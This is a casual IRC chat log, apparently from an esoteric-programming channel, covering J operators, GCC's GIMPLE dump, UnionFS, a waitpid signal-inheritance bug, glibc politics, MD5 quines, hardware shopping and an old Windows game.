lifthrasiir: I am certainly aware of that 00:36:28 thus, +/ serves the purpose of a map! 00:36:32 *tada noise* 00:36:36 ehird: zipWith (+)? 00:36:38 you and your fancy vector languages! 00:36:40 nope 00:36:44 it's not zipWith (+) at all 00:36:49 it uses vector addition 00:36:52 (97 98)+(99 100) 00:36:53 becomes 00:36:56 97+99 98+100 00:37:00 right, an vector addition is zipWith (+) 00:37:01 well 00:37:02 yes 00:37:04 *and 00:37:07 but with + it doesn't matter 00:37:11 since we then */ it right away 00:37:13 to take the product 00:37:17 productofsums =: */+/ 00:37:21 :O 00:37:27 is the same as 00:37:29 product.map sum 00:37:34 THE MOAR YOU KNOW! 00:37:50 this J program calculates my tax returns: *:$%#@O$%:O*(*())^)))^%($@*!!$#:@{}$#!{#!!! 00:37:59 and one a few lines longer can simulate the universe 00:37:59 meh 00:38:06 J is awesome regardless. 00:38:33 Gracenotes: and if you make a typo the earth gets swallowed by a black hole? 00:38:40 omega point! 00:39:29 of course that's one of wolfram's hypotheses, that the universe could be a short program 00:39:36 really? 00:39:46 oerjan: no, a physics constant gets tweaked slightly, apparently making it impossible that life appear anywhere in the universe (saith a few supporting the anthropic principle) 00:39:50 (although i won't bet that he invented it ;D) 00:40:09 oerjan: by omega point I meant "Either (a) we never simulate universes in the future, or (b) we are living in a simulated universe." 00:40:09 Gracenotes: ah 00:40:25 which holds to a good probability assuming we have huge universe simulation orgies all the time 00:40:31 I remember that at some point in the not-too-distant past, Sun (now Oracle) made a backend for GCC that output C code ... does that still exist? 00:40:41 Sun (now Oracle) 00:40:43 * ehird weeps 00:40:45 oerjan: randomly pointed joke! them creationists.. 00:41:07 okay, to concert. 00:41:12 bai 00:41:15 wait 00:41:18 Gracenotes: i hope... 00:41:20 ehird: i just thought of a third possibility, it could be that universe simulations are expensive enough that only a few are done. this could lead to p being neither 0 or 1 00:41:21 * ehird sunglasses 00:41:25 Gracenotes: they have enough grace notes. 00:41:32 oerjan: yeah, thus my next line 00:41:35 no. they won't 00:41:36 what I said was a simplification 00:41:39 and fuck you, man! 00:41:41 :o 00:41:42 Gracenotes: shut up 00:41:43 （　´_ゝ`） 00:41:44 Gracenotes: YEAAAAAAAAAAAAAAAAAAAAAAAAAAAAH! 00:41:46 *DUN DUN* 00:41:48 WHOAAAAAAAAAAHAHAA 00:41:50 *DUN DANNNN* 00:41:53 ( ﾟ -ﾟ) you shut up 00:41:54 DUAA *DRUMS* 00:41:57 DRAAAA, DAH DAH 00:41:59 MORE WHO SONG 00:42:03 CREDITS ROLL 00:42:05 CSI EPISODE 00:42:08 CREDITS ROLL 00:42:09 ADVER 00:42:10 T 00:42:11 OTHER PROGRAMS 00:42:13 ~fin~ 00:42:32 -!- Gracenotes has set topic: Logarithms: | ~fin~. 00:42:43 * Gracenotes aways 00:43:16 GregorR: I want that backend... 00:43:32 I want to see how much it bloats arbitrary C code.\ 00:43:38 lawlehcoptahs 00:43:55 Or, of course, arbitrary C++... 00:44:17 pikhq: and to check if iterations stabilize? 00:44:46 Well, of course. 00:44:59 Well, the idea was that you'd compile it through GCC to get the features that only GCC supports, then compile it with Sun Proprietary So It Must Be Better C 00:45:33 Ah yes, the psimbb C compiler. 00:45:52 Often called "pis-shit-mb" by its disgruntled users. 00:49:40 I suspect that gccfss may be the new version of that ... 00:51:05 http://cooltools.sunsource.net/gcc/ // this compiles with GCC, then uses the Sun compiler as a backend ... but the only way this could be done legally is if the GCC compiler spit out something the Sun compiler can input (they can't be linked together), and what else could that be but C? 00:51:23 :D 00:51:47 GregorR: know anything about unionfs? 00:51:57 (I wouldn't suspect it was C except I /know/ they had a GCC hack to do that) 00:52:00 ehird: A tiny bit. 00:52:18 UnionFS is a hack that I'm rather fond of. 00:52:25 GregorR: I'd like to put ~/.* ie dotfiles on my ssd; but leave the rest of ~ on my mechanical slowhd 00:52:28 can unionfs do that 00:52:38 Yes. 00:52:45 good. how? 00:52:57 i also want creating ~/.foo to put it on the ssd 00:53:01 to avoid manual work 00:53:45 That's trickier. 00:54:01 darn 00:54:26 But to do that with UnionFS, except for create ~/.foo putting it on the SSD, just unionFS them together. 00:54:42 pikhq: my other idea is to just have ~ be on the ssd, and keep ~/media/ on the mechanical HD; but media includes downloads and shit so I'd pretty much have ~/{.dotfiles,local(bin/,etc),media} 00:54:43 which sux 00:54:50 HAHAHAH 00:54:56 pikhq: any ideas? 00:54:57 GregorR: what 00:55:00 A friend of mine used my font in a program for a show he did X-D 00:55:04 With, I think, the SSD as the lower-level filesystem... 00:55:21 ehird: That other idea is easy. Nay, trivial. 00:55:32 mount the mechanical HD in ~/media/. 00:55:34 Naturally; it's just mounting media 00:55:46 GregorR: Your font? 00:55:47 pikhq: But don't you agree that having to type ~/media/src instead of ~/src is a bitch? 00:55:51 It kind of defeats the point of ~. 00:56:02 pikhq: http://codu.org/gregor_handwriting.ttf 00:56:30 pikhq: So, any ideas? It's rather complicated 00:57:20 Indeed, it is rather complicated. 00:57:35 UnionFSing it wouldn't be hard, except for the . files. 00:57:51 pikhq: It's a consequence of unix being so stupid as to lump "OS-related data specific to the user" and "user's personal documents" together 00:58:09 If we had e.g. /usr/ehird/etc/... and /usr/ehird/home, where HOME=/usr/ehird/home, this'd be trivial 00:58:43 pikhq: Namsayin'? 00:59:24 Ah, well. pikhq: if you think of anything, please /msg me. 00:59:24 :) 00:59:26 → 01:05:14 * pikhq votes that we create a new distro for you 01:08:35 i thought he was already making hirdux? 01:12:03 Ohhhhhhhhhhhh, gccfss converts things into Sun's internal IR then dumps that :( 01:13:13 -!- Sgeo has joined. 01:15:07 Holy crapsicles! 01:15:17 gcc -fdump-tree-gimple 01:15:19 The output is practically C 01:15:50 What? 01:16:37 I was just saying that Sun made a compiler that dumps C code from GCC, but have apparently abandoned that. 01:16:46 Then I discovered that the GCC -fdump-tree-gimple option /almost/ does that. 01:24:54 Uh, it seems to do nothing. 01:25:01 ls 01:25:33 Oh. 01:26:14 And what do you mean, "almost"? I'm seeing valid GNU C. 01:26:34 That must have been one insubstantial file you dumped :P 01:26:42 It was a quine. 01:26:44 ;) 01:27:00 Surely you must have at least one variable named D.43243? 01:27:18 Yes... Very odd, but definitely valid. 01:27:27 Uhhhhhhhhh, no? 01:27:36 Erm. 01:27:51 There's a . there :P 01:28:23 You could almost make that C. 01:28:42 Erm. Almost? You could make that into C. 01:28:59 Try it for C++ too. It's a little bit farther, but still quite Cish. 01:30:37 It wouldn't take too much effort to make gcc output C, then. 01:30:57 Exactly my thoughts. 01:32:38 I think I'll go hack up BF-Joust 01:33:41 * pikhq does -fdump-tree-all 01:33:58 pikhq: Enjoy your seventy files. 01:34:29 What can I say? I'm curious. 01:34:51 And the total is 129 files. 01:34:58 -!- psygnisfive has joined. 01:37:49 And that's some interesting stuff. 01:49:13 Does anybody know how BF Joust Hill calculated its scores? 01:59:56 The scores in FYB are just number of wins minus number of losses *shrugs* 02:05:56 apparently the going price for Twitter is $700m 02:16:12 Or $20b for 3. 02:16:30 Errrr, $2b, X-P 02:16:41 2.1 02:16:48 No, you get a special deal for 3. 02:16:53 aha! 02:16:55 That was the joke, never mind, bleh X-P 02:17:34 buy two get one for slightly less! 02:17:56 Heh, $100,000,000 is "slight" :P 02:33:40 OK, I registered #fyb 02:33:45 fyb? 02:33:58 Competitive Brainfuck (well, one form of it) 02:34:04 http://codu.org/eso/fyb/README 02:36:18 Anyway, I registered #fyb because I'm trying to revitalize interest in FYB :P 02:36:33 ooic 02:36:53 (Which is TOTALLY not self-serving :P ) 02:43:18 last night i had a thought about classifying esolangs 02:43:36 But only one. 02:43:43 what 02:43:58 Yeesh, my jokes really aren't landing in here recently. 02:46:19 strong winds, maybe. 02:48:21 * Sgeo feels evil 02:48:38 Sgeo: Feel evil by writing some FYB :P 02:50:44 I want to start a war between Agora and the Aerican Empire 02:51:00 I want to start the Aerican Empire. 02:51:41 I want to start a war between the Aerican Empire and the American Representative Republic. 02:52:16 And I want to make Agora sovereign. 03:25:19 -!- bsmntbombdood has quit (Read error: 131 (Connection reset by peer)). 03:25:53 -!- bsmntbombdood has joined. 03:26:29 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 03:45:48 -!- bsmntbombdood has joined. 03:55:57 -!- oerjan has quit ("Good night"). 04:03:26 -!- bsmntbombdood has quit (Connection timed out). 04:27:41 -!- puzzlet_ has quit (Remote closed the connection). 04:27:49 -!- puzzlet has joined. 04:28:45 I wrote a new report program for FYB that has a fairer scoring system, outputs the score board in order, and is a hunk of extremely gross C code, and for some reason I can't even begin to fathom it works everywhere /except/ when it's running under EgoBot. 04:31:06 -!- xor has joined. 04:33:15 http://codu.org/eso/fyb/report.txt : Even though waitpid actually does WAIT for the child process before complaining that there are none. WTF? 04:36:02 -!- xor has quit (Read error: 60 (Operation timed out)). 04:39:53 "POSIX.1-2001 specifies that if the disposition of SIGCHLD is set to SIG_IGN -- then children that terminate do not become zombies *and a call to -- waitpid() will block until all children have terminated, and then fail with errno set to ECHILD*." 04:40:07 That's about the only case I can think of where waitpid would first wait, then return ECHILD. 04:42:05 Only of course I didn't set SIGCHLD to SIG_IGN, because that makes no sense :P 04:44:18 WTFWTFWTF?!?!?!!? 04:44:31 I just added signal(SIGCHLD, SIG_DFL) to the beginning of my program and it works. 04:44:46 Do you inherit signal state from your parent?? 04:44:57 possibly 04:45:00 -!- puzzlet_ has joined. 04:45:02 I would guess so, yes. Since I can't see where else it could come from. :p 04:45:27 I thought it was always default. It doesn't make /too/ much sense to inherit it, since it's a set of pointers to programs in user code ... 04:45:43 But then, I guess you could inherit the ignored/not-ignored matrix. 04:47:00 http://codu.org/eso/fyb/report.txt Now THAT'S a pretty report :) 04:47:26 -!- bsmntbombdood has joined. 04:50:29 hey ehird you around? 04:55:33 GregorR: Well, you know, inheriting signal state on fork() makes sense since the function pointers and all are still valid; then POSIX exec() says that all signals have SIG_DFL disposition except those that were SIG_IGN in the calling process; with a special exception that in case of SIGCHLD, it is unspecified whether it's ignored or default-action in the new process. 04:56:11 So you had, in fact, a program with unspecified behaviour there. 04:56:22 fizzie: Arrrrrrrrrrrrrrgh :P 04:56:53 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 05:00:07 (To clarify: it is unspecified in the case it was set to SIG_IGN; of course it's SIG_DFL if it was something else in the exec-caller.) 05:02:10 Right, right. 05:02:24 Anyway, it works now, and my scorecard is hypersexy. 05:03:45 I did a text-based report for that "introduction to AI" course tournament I ran, too; it was a bit less-than-sexy -- http://www.niksula.hut.fi/~htkallas/ai-2009.txt -- because I saved all the sexiness for the final HTMLized results page. 05:04:50 ASCII "Re", "Bl" and "Ti" aren't distinct enough IMHO 05:05:09 Ding dong, the witch is dead! 05:05:18 (SCO's going chapter 7) 05:05:58 The HTML version does colors: http://www.cs.hut.fi/Studies/T-93.4400/2009/results/ -- come to think of it, that's not very friendly towards people with color-related vision issues. 05:08:00 pikhq: Sweet, that's better (for us) then chapter 11, right? 05:08:21 Chapter 7 means that the court sells off everything they own. 05:08:26 Sorting the rows/columns of the results matrix in order of score makes it have a rather pleasant distribution of colors, though. 05:08:27 And the company ceases to exist. 05:08:37 pikhq: So can you buy Linux for cheap from the court, then? 05:08:42 pikhq: Right, as opposed to chapter 11 which is "We're gonna try really hard not to! :(" 05:08:43 fizzie: LAWL 05:09:09 GregorR: Chapter 11 means that the debtors and the company talk about how best for the company to get out of debt. 05:09:20 So, yeah. 05:09:35 fizzie: I hope that someone buys SCO for the FSF. ;) 05:09:49 (or the OSDN; that'd work just as well, really) 05:10:22 pikhq: I love GCC's SCO message. It's something like "People have told us to remove SCO support as protest against SCO being douchebags, but they're such insignificant douchebags that it's not even worth the effort." 05:10:55 Wow. 05:11:00 That's wonderful. 05:11:04 It's a little bit more lightly worded than that :P 05:26:41 -!- puzzlet has joined. 05:29:32 http://codu.org/eso/fyb/SCORES // can anybody understand this who isn't me? 05:30:43 -!- coppro has quit (Read error: 110 (Connection timed out)). 05:31:22 I understand it. 05:31:38 However, I have something to tell you. 05:31:53 I am you from a mirror universe where the average IQ is 50. 05:31:56 :p 05:32:35 ........... I can't even begin to comprehend the implications of that statement :P 05:32:46 ... On second thought, nor can I. 05:32:54 It's 11:30, and I'm a tiny bit sick. 05:33:07 And that seemed clever at the time. 05:33:22 iq of 100 is defined to be average 05:33:25 So, yeah. I can't even begin to comprehend the workings of my mind ATM. 05:33:41 bsmntbombdood: Well aware of it. 05:33:56 bsmntbombdood: Right, that was mainly what made it so confusing, is that since 100 is just arbitrary, that could mean any number of things :P 05:34:25 bsmntbombdood: I screw with your head. 05:34:37 hot 05:36:20 Damn right it is. 05:39:16 -!- puzzlet_ has quit (Read error: 110 (Connection timed out)). 05:41:41 -!- psygnisfive has quit (Remote closed the connection). 05:48:58 -!- puzzlet has quit (Read error: 104 (Connection reset by peer)). 05:50:01 -!- puzzlet has joined. 06:08:50 -!- psygnisfive has joined. 06:24:24 It's rare that a commercial shows people enjoying peanuts shortly before their (implied) grizzly death. 06:24:48 * Sgeo is reading My Immortal 06:25:04 If I start acting like an imbicil, it's because MI drained me of my intellect 06:25:41 What sort of an imbicil would spell imbecile as imbicil? :P 06:40:01 I recently discovered that there are people who are incapable of changing the battery in their car. 06:40:19 I'm strongly considering changing my name to Wonko now. 06:40:41 D-8 06:41:33 i think i've changed a car battery 06:42:57 But have you licked a car battery? 06:43:07 no 06:43:16 i've licked a 9 volt battery, does that count? 06:43:33 How would you describe the flavor of 9-volt-battery-with-leads-touched-to-tongue? 06:43:51 like a battery 06:44:41 What a useless (and not particularly accurate) answer :P 06:44:48 psygnisfive: Tasted lead acid? 06:44:59 have you ever tasted a 9-volt before, gregorr? 06:45:06 Tasted in what sense? 06:45:15 touched the leads to your tongue 06:45:20 A depleted one, so I'm really tasting it rather than tasting the effects of electricity on my tongue? 06:45:21 With that, I bid you guttennacht. 06:45:25 Ah, that's sort of different :P 06:45:39 Yes, I have. 06:45:46 But not recently. 06:45:50 well then you know what it tastes like! 06:45:56 I recall it being painful, but sweet. 06:46:10 its not sweet at all, sir 06:46:13 it tastes like electricity 06:46:17 Not really, it's not like food, it's just shocking your tongue, so I don't know if everybody tastes it the same :P 06:46:33 I definitely recall it as sweet. 06:46:36 Sweet and a bit sour. 06:46:50 sour might be close 06:47:34 -!- coppro has joined. 07:04:03 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:27:31 -!- coppro has quit (Read error: 110 (Connection timed out)). 08:37:58 -!- lereah_ has joined. 08:48:00 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)). 09:10:09 -!- tombom has joined. 10:48:00 Any of you fellows know some ROOT? 10:55:27 Not me 11:52:00 -!- MizardX has quit ("Proclamation of invalidity!"). 12:22:34 Let's say that I declared the object TH1F *h2 = new TH1F(stuff in it) in C++, how to DESTROY IT 12:23:28 what do you want? 12:23:56 just destorying or deallocating allocated memory as well or doing something else? 12:25:10 Mostly that the program stop saying Warning in : Replacing existing TH1 12:25:42 Or if you know how to empty an histogramme in ROOT, that could work too 12:25:50 So I can just reuse it 12:26:25 i have absolutely no idea on TROOT, as i don't know the context 12:26:36 * lifthrasiir reads past log 12:26:44 Well, just destroy the object then you know 12:27:02 delete h2? 12:27:04 delete h2;* 12:27:15 Thankies 12:27:17 Lessee 12:27:48 i'm still unsure whether that question is any way related to esolang... anyway. 12:27:56 in any way* 12:28:19 It's not 12:28:33 It's just the only chat I'm on with people who know coding 12:28:49 Also now I've got *** Break *** segmentation violation and a shitload of errors D: 12:28:53 What did I dooo 13:12:08 -!- WangZeDong has joined. 13:19:04 What you are doing is tasting the unearthly joys of manual memory management. 13:19:56 s/joys/delights/, that word fits better. 13:22:17 I'm around now, offline bsmntbombdood. 13:25:20 -!- puzzlet has quit (Remote closed the connection). 13:25:24 -!- puzzlet has joined. 13:25:49 -!- Slereah has quit (Read error: 110 (Connection timed out)). 13:31:07 -!- FireFly has joined. 13:33:46 -!- MizardX has joined. 13:56:57 -!- lereah_ has quit ("Leaving"). 14:05:11 "I have just uploaded Embedded GLIBC (EGLIBC) into the archive (it is currently waiting in the NEW queue), which will soon replace the GNU C Library (GLIBC). " 14:05:14 Debian's switching libc! 14:05:19 http://blog.aurel32.net/?p=47 14:05:46 "And then, suddenly, Ulrich Drepper became irrelevant." 14:09:59 hahaha those ulrich drepper bugs are incredible 14:10:03 what a massive cock 14:10:04 yep 14:10:16 ------- Additional Comment #17 From Dave Houston 2008-07-07 05:05 [reply] ------- 14:10:16 Paid $1 via paypal. Trans ID 3H4989806A1962407 14:10:28 (in reply to ulrich saying he wasn't paid by the reporters) 14:10:29 :D 14:11:14 hahaha yeah i just read that 14:11:46 tombom: 14:11:47 ------- Additional Comment #27 From Paul Wankadia 2008-07-08 04:48 [reply] ------- 14:11:48 I concur, Ulrich. This bug has been discussed to death and only the trolls are 14:11:50 reopening it. If anyone wishes to "me too" this bug, please open a new bug. 14:11:52 Thanks. 14:11:54 ------- Additional Comment #28 From Ulrich Drepper 2008-07-08 05:08 [reply] ------- 14:11:56 Stop commenting. 14:11:58 i lol'd 14:13:15 ha 14:13:30 tombom: http://sourceware.org/bugzilla/show_bug.cgi?id=4403 14:13:39 if it's such a stupid joke why doesn't he remove the function :) 14:13:56 "glibc is not meant for embedded crap and I'm not going to start adding 14:13:56 work arounds for garbage like that." 14:14:08 I hope that all embedded systems fail when Ulrich Drepper tries to use them forevermore. 14:16:21 does anybody really consider that shit acceptable 14:16:28 ulrich drepper 14:16:36 heh 14:16:37 To an extent 14:16:54 I mean, he /is/ allowed to do what he wants 14:16:55 I bet eglibc X.org's glibc's Xfree86 14:17:00 He just shouldn't be such an asshole about it ;-P 14:17:18 Or egcs's its fsf-gcc2 14:33:46 "The Pirate Party becomes the third biggest party in Sweden by membership count" 14:33:47 Yay! 15:11:45 -!- Hiato has joined. 15:16:50 -!- dhfhdhdh has joined. 15:17:40 anyone reads tarot here 15:17:43 ? 15:17:48 -!- pikhq has quit ("leaving"). 15:18:18 -!- dhfhdhdh has quit (Client Quit). 15:18:20 -!- pikhq has joined. 15:18:32 lawl! 15:18:38 pikhq: 15:18:39 15:17 dhfhdhdh: anyone reads tarot here 15:18:40 15:17 dhfhdhdh: ? 15:18:43 (from just before you came in) 15:18:49 yet another misinterpreter :^) 15:18:49 Wow. 15:19:03 it's funny because they're idiots, see 15:19:08 I don't read tarot, but I have played Shin Megami Tensei. 15:19:13 pikhq: hey, dialup isn't in your hostname 15:19:21 (such a good series...) 15:19:23 ehird: I'm on satellite. 15:19:39 pikhq: Heh. what speed? 15:19:58 . o O ( I imagine you live on top of a mountain somewhere :-P ) 15:20:11 512k. :( 15:20:23 I used to think satellite internet was the fastest you could get when I was young and dumb. :-D 15:20:26 pikhq: Beats dialup. 15:20:29 Not on top of a mountain; then I'd have better Internet. 15:20:37 That it does. 15:21:17 pikhq: It may be less taxing on your mental health to get the required infrastructure to be a DSL provider (not a lot, actually, IIRC) and use that :-P 15:21:31 Bonus: I'm pretty sure it'd be really fucking fast. 15:22:04 And, y'know. Impractical. 15:22:18 And pricey. 15:22:42 * pikhq is living with grandmother for cost reasons 15:24:52 -!- oerjan has joined. 15:32:37 md5("369df80") = 0x369df804185add9e156ea9d033950296 15:32:41 zomgqwtfbbq 15:33:31 Huh. 15:33:44 That's almost an md5 quine. 15:34:04 yeah; finding a full one would take a while 15:34:12 (17805635143236190248826092 years to try all md5s of the length of the hex output) 15:34:25 http://www.elliottkember.com/kember_identity.html [turn off CSS if you want, that background/italic thing is fucking irritating] 15:40:41 http://echochamber.me/viewtopic.php?f=12&t=36233 15:44:19 -!- Gracenotes has quit ("Leaving"). 15:47:30 oerjan: "Given that MD5 is considered to be Collision Free (weak and strong)," 15:47:32 guy's on crack 15:47:40 i calculated 50 md5 collisions for breakfast 15:48:22 also check out the linked older thread, i guess 15:48:57 ehird: and then you head breakfast at Milliways? 15:49:04 yep 15:49:43 i was going to correct my grammar, but then i noticed a typo had already corrected it 15:50:04 oerjan: um no that's still incorrect 15:50:14 i assume "head" is the correct time travel grammar 15:50:19 ah :D 15:50:26 No hash algorithm has no collisions. 15:50:33 pikhq: no shit 15:50:37 :P 15:50:43 oerjan: what did you think the grammar error was 15:51:06 "had" is obviously incorrect there 15:51:15 it's _so_ linear time 15:51:17 (except maybe that "Xor that string with some known string" algorithm? :p) 15:51:56 oerjan: ah :D 15:52:57 pikhq: the assumption is a hash has a length bound... 15:53:06 otherwise it would be useless as a hash 15:53:28 My point being that the only perfect hash is useless. 15:53:39 (exceptions for when you know the range of values that you'll be hashing) 15:54:10 "Is there really a fake rapture coming or is it just disinformation to get people to think a fake rapture is coming so when the real one does everyone rejects it?" 15:54:11 http://www.sherryshriner.com/sherry/fake-rapture.htm 15:54:16 * ehird 's head asplode 15:54:36 ... How the fuck would you create a fake rapture? 15:54:39 ehird: you experiencing a fake rapture right now? 15:54:51 pikhq: projecting it in to the air, say new agers 15:55:03 images of aliens and shit, they project it on to the chemtrails 15:55:09 ufos = testing the chemtrail projection system 15:55:11 I shit you not 15:55:17 but that paragraph I pasted is amazing in its mind-breakage 15:55:58 I thought it was a matter of public record now that most of those UFO reports are military aircraft testing? 15:55:59 ;) 15:56:20 pikhq: THAT'S 15:56:20 WHAT 15:56:21 THEY 15:56:23 WANT 15:56:25 YOU 15:56:27 TO 15:56:29 THINK! 15:56:32 Fnord. 15:59:06 WAKE UP AND SMELL THE SULFUR! 15:59:45 Why must so many people be dumb about Revelations? 16:00:24 i just farted, that would be sulphur wouldn't it? 16:01:15 pikhq: *Revelation 16:01:39 And because to get to that point you already have to let down all your rational thinking and logical reasoning. 'Scalled religion. 16:02:35 LAWL 16:02:43 I love how there are aliens AND Satan out to get us. 16:02:51 Satan is an alien from the planet HELL. 16:10:54 -!- Robdgreat has left (?). 16:17:01 GregorR: ...and he is ME! 16:17:18 we all suspected that. 16:17:25 """Fake rapture = lie" is a lie to distract you" - just a lie" is the lie you have fallen for, GregorR. 16:17:33 Death will be upon you! 16:17:44 Unless you accept JEBUS2000(C)(R)(TM)(MONKEY) 16:17:47 Which you must not! 16:17:56 For I am Satan, and, uh, I'd like some market share, y'know? 16:18:02 oerjan: you too. 16:18:12 and you cannot even cast a die to decide because gambling is the work of SATAN 16:18:29 MWAHAHAHAHA 16:18:32 SO IS THINKING RATIONALLY 16:18:38 THEREFORE EITHER YOU MUST 16:18:43 (1) BLINDLY ACCEPT SATAN ON FAITH 16:18:47 (2) THINK ABOUT IT THUS ACCEPTING SATAN 16:19:00 AND DON'T THINK ABOUT THAT IF YOU DON'T WANT TO FALL PREY TO ME 16:19:28 * oerjan blindly ignores the question. again. 16:19:56 oerjan: Aha, but blindly ignoring the world around you? That is no mark of Jesus! Well, um, okay, yes it is BUT by reading this sentence you've become confused and thus YOU ARE MINE. 16:19:58 EVERYTHING IS A LIE 16:20:16 GregorR: I also purvey in contradictions, so you're mine too. 16:26:37 23:01:18 since if two objects are close, their balls don't really intersect 16:26:38 23:02:09 so basically, balls would take their shape from 1. how unique they are, or how far they are from others, and 2. their importance... the probability at which a certain object is described should grant it greater space 16:27:06 .............. 16:27:32 :D 16:27:32 ..............! 16:30:25 -!- Hiato has quit ("Leaving."). 16:35:25 -!- BeholdMyGlory has joined. 16:49:16 No. 16:49:36 pikhq: no what 16:49:57 HE WILL BEHOLD NO GLORY! 16:50:04 -!- MizardX has quit ("Dead pixels in the sky."). 16:53:18 -!- MizardX has joined. 16:58:34 Deewiant: know anything about nvidia cards? I'm trying to work out what the rough ATI equivalent of a GeForce 9800 GT is. 16:59:23 http://www.jathardware.com/2/video.html#lista 17:00:14 Deewiant: So, "crap". 17:00:23 Between the 4830 and 4770. 17:00:29 I'll pass on that. 17:00:47 It's better than my previous card :-P 17:01:33 Deewiant: Yeah, but the only reason it's a contender against the 4850 is the better linux drivers. 17:02:37 Deewiant: It'd probably help if I could read finish 17:02:39 *finnish 17:03:08 Not much 17:03:34 Okay, as I scroll down the price list the cards get shittier (as is to be expected.) 17:03:39 So it looks like it's the 4850 for me. 17:04:13 I wonder if ATI will come out with a 4890 X2. That would be ridiculously over the top. 17:09:04 Deewiant: Know anything about the SanDisk 256GB SSD? I'm betting on "suck", but... 17:11:13 No, know nothing 17:14:06 -!- Slereah has joined. 17:15:52 ehird: http://www.pcper.com/article.php?aid=704 17:15:52 -!- WangZeDong has quit (Read error: 145 (Connection timed out)). 17:16:04 Deewiant: That's not it. 17:16:04 -!- oerjan has quit ("Lost terminal"). 17:16:09 Oh, you mean another thing. 17:16:10 I know, but it's cute. 17:16:16 Hmm. It looks ridiculously expensive just looking at the picture. 17:16:22 That is the look of a ridiculously expensive drive. 17:16:43 Deewiant: Also crap, since I don't wanna rely on volatile memory for non-volatile data ;-) 17:16:56 It's not volatile :-P 17:17:11 It's RAM... :P 17:17:21 Not completely 17:17:30 Hmm. 17:17:31 It does save the data when it's off :-P 17:17:38 Deewiant: Holy shit @ that case. 17:17:38 It's not just $1500 for 4GB >_< 17:18:25 -!- oerjan has joined. 17:22:07 Deewiant: Pfft it only has 4GB :P 17:22:28 Well, it's 300K IOPS 17:22:44 Deewiant: Does anyone actually need that speed? 17:22:53 640K is enough for anyone! 17:23:06 No but seriously. 17:23:14 Nobody 'needs' speed :-P 17:23:25 Deewiant: critical servers do 17:23:31 SSDs supposedly make your shit start up faster 17:23:33 but not 300K iops speed 17:23:36 sure, that's true 17:23:37 I imagine that would speed it up 1000x beyond that 17:23:41 Deewiant: but when you get that high, can you really tell? 17:23:59 You can probably tell the difference between that and an SSD 17:24:12 I mean, there's noticeable delay before opening stuff even on an SSD. On that, not necessarily. 17:25:25 But really, it's like the current versions of cfunge vs. CCBI. 17:26:04 If you're running Mycology, it doesn't matter whether it's 0.2 or 0.02 seconds. :-P 17:26:10 But you can still /notice/. 17:40:44 -!- puzzlet has quit (wolfe.freenode.net irc.freenode.net). 17:40:44 -!- Dewi has quit (wolfe.freenode.net irc.freenode.net). 17:40:45 -!- ineiros has quit (wolfe.freenode.net irc.freenode.net). 17:40:45 -!- Ilari has quit (wolfe.freenode.net irc.freenode.net). 17:40:45 -!- Asztal has quit (wolfe.freenode.net irc.freenode.net). 17:40:45 -!- ehird has quit (wolfe.freenode.net irc.freenode.net). 17:40:46 -!- thutubot has quit (wolfe.freenode.net irc.freenode.net). 17:40:48 -!- AnMaster has quit (wolfe.freenode.net irc.freenode.net). 17:40:49 -!- mtve has quit (wolfe.freenode.net irc.freenode.net). 17:40:49 -!- oerjan has quit (wolfe.freenode.net irc.freenode.net). 17:40:50 -!- kerlo has quit (wolfe.freenode.net irc.freenode.net). 17:40:51 -!- tombom has quit (wolfe.freenode.net irc.freenode.net). 17:40:53 -!- rodgort has quit (wolfe.freenode.net irc.freenode.net). 17:43:09 -!- AnMaster has joined. 17:43:09 -!- oerjan has joined. 17:43:09 -!- kerlo has joined. 17:46:30 -!- tombom has joined. 17:46:34 -!- thutubot has joined. 17:47:00 -!- rodgort has joined. 17:47:00 -!- ineiros has joined. 17:47:00 -!- Ilari has joined. 17:47:00 -!- Dewi has joined. 17:47:00 -!- Asztal has joined. 17:47:00 -!- ehird has joined. 17:47:00 -!- puzzlet has joined. 17:47:23 -!- ineiros has quit (wolfe.freenode.net irc.freenode.net). 17:47:23 -!- Dewi has quit (wolfe.freenode.net irc.freenode.net). 17:47:23 -!- Ilari has quit (wolfe.freenode.net irc.freenode.net). 17:47:32 -!- Dewi has joined. 17:47:32 -!- Ilari has joined. 17:47:32 -!- ineiros has joined. 17:48:40 Deewiant: "SATA based SSD's usually run at 0.1ms, while PCI-E based SSD's usually run at 0.0ms. " 17:48:43 0.0ms hurr 17:49:05 -!- oerjan has quit ("leaving"). 17:49:44 ehird: Like I said. :-P 17:49:59 Deewiant: They actually have zero latency, literally. 17:50:02 That's how amazing they are. 17:50:15 :-) 17:51:53 http://www.newegg.com/Product/Product.aspx?Item=N82E16820227407 ← This is the most expensive memory you can get on newegg (save for a 16GB DDR2 kit from corsair) 18:00:42 "irony, n: [Ulrich] The morale of this is that people will hopefully realize what a control freak and raging manic Stallman is." 18:22:29 -!- Sgeo has joined. 19:02:24 -!- MizardX has quit ("Proclamation of invalidity!"). 19:21:28 -!- puzzlet has quit (Remote closed the connection). 19:21:30 -!- puzzlet_ has joined. 19:34:44 That final was /painfully/ easy. 19:34:48 Good friggin lord it was easy. 19:37:35 It was so easy, it was hard! 19:46:33 -!- mtve has joined. 19:47:31 -!- MizardX has joined. 20:00:07 * ehird watches Parallels Desktop install DirectX 6 20:01:25 -!- MigoMipo has joined. 20:03:24 -!- ais523 has joined. 20:08:46 hi ais523! 20:08:53 hi 20:08:59 wow, I got quite a lot done last night actually 20:09:08 I wrote a BF Joust (ais523-style rules) interpreter 20:09:13 and tried out some example programs on it 20:09:19 AAAAAARGH! This game needs the CD in the drive to work. 20:09:21 I HATE that., 20:09:33 yep sucks 20:09:40 ehird: which platform is the game intended for, and which platform are you trying to run it on? 20:09:48 I agree it sucks, but it might suck even more depending on circumstances 20:09:49 I'll take shitty DRM over HAVING A GODDAMN CD IN MY DRIVE ALL THE TIME 20:10:03 requiring the CD /is/ a form of DRM, just a primitive one 20:10:07 ais523: The game's for Windows, I'm running it on OS X via Parallels (in Coherence mode to try and help me forget that it's windows) 20:10:12 ok 20:10:15 and yeah, but I'd prefer rootkits to requiring the cd, srsly 20:10:32 Windows users get all sorts of stupid tricks pulled on them when they try to play games 20:11:39 * ehird gives up, puts CD in 20:11:46 What game 20:11:56 Deewiant: Worms: Armageddon. A true classic. 20:12:04 Heh 20:12:05 (Thus the installing of the ancient DirectX 6...) 20:12:20 I seem to recall that I liked Worms 2 more, for some reason 